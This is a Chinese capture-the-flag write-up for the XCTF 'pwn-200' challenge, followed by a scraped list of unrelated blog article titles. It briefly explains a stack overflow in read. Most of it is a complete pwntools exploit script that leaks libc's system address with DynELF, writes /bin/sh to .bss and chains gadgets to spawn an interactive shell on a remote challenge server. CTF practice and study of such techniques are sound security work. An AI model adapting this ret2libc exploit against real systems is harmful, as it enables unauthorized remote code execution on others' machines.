pwn-200
2024-09-01 22:25:11
题目连接 https://adworld.xctf.org.cn/media/task/attachments/49bd95c78386423997fa044a9e750015
借鉴
https://www.cnblogs.com/deerCode/p/11919638.html
https://blog.csdn.net/qq_43986365/article/details/95752798
read存在栈溢出
没有libc,也没有后门函数可以直接调用
用DynELF泄露出system地址,在bss段写入/bin/sh,用pppt来调用read执行system
exp如下
from pwn import *
r=remote('111.198.29.45',53833) elf=ELF('pwn-200')
write_plt=elf.plt['write']
read_plt=elf.plt['read']
start_addr=0x80483d0
func_addr=0x08048484
ppp_addr=0x080485cd def leak(addr):
payload1='a'*112+p32(write_plt)+p32(func_addr)+p32(1)+p32(addr)+p32(4)
r.sendline(payload1)
data=r.recv(4)
return data print r.recv()
d=DynELF(leak,elf=elf)
sys_addr=d.lookup('system','libc')
payload2='a'*112+p32(start_addr)
r.sendline(payload2)
print r.recv() bss_addr=elf.bss()
payload3='a'*112+p32(read_plt)+p32(ppp_addr)+p32(0)+p32(bss_addr)+p32(8)
payload3+=p32(sys_addr)+p32(func_addr)+p32(bss_addr) r.sendline(payload3)
r.sendline('/bin/sh')
r.interactive()
最新文章
- HTTP压缩
- odbc错误信息一览表
- XSS挑战第一期Writeup
- Knockout.Js官网学习(style绑定、attr绑定)
- poj 3669 Meteor Shower(bfs)
- openjpa框架入门_项目 database 启动project 初始化(三)
- Android学习路径(十)怎么会Action Bar堆放在布局
- 使用JS实现鼠标悬浮切换显示
- django admin 修改批量操作内容
- 部署tinyproxy代理服务
- MT【250】距离0-7
- mysql查询某一个字段是否包含中文字符
- 【UWP】手动实现 WebAuthenticationBroker
- 20190312 Windows安装Kafka
- 代理设计模式 (静态代理设计模式)+ 动态代理(JDK和Cglib)
- Windows 2012桌面显示“我的电脑”
- SpringBoot 线程池配置 实现AsyncConfigurer接口方法
- VS调试-添加命令行参数
- Spring源码研究--下载-编译-导入eclipse-验证
- iOS 在系统设置中展示Version, Build, Git等信息
热门文章
- 使用iCamera 测试AR0331 300w高分辨率摄像头小结
- 网络基础TCP/IP
- Go 修改map slice array元素值
- python爬虫--爬虫介绍
- Ubuntu18.04 配置Cups PDF虚拟打印机服务
- Spring Cloud第十一篇 | 分布式配置中心高可用
- elasticsearch7.5.0+kibana-7.5.0+cerebro-0.8.5集群生产环境安装配置及通过elasticsearch-migration工具做新老集群数据迁移
- Java使用iBatis批量插入数据到Oracle数据库
- OpenSSL 自述
- [20191206]隐含参数_db_always_check_system_ts.txt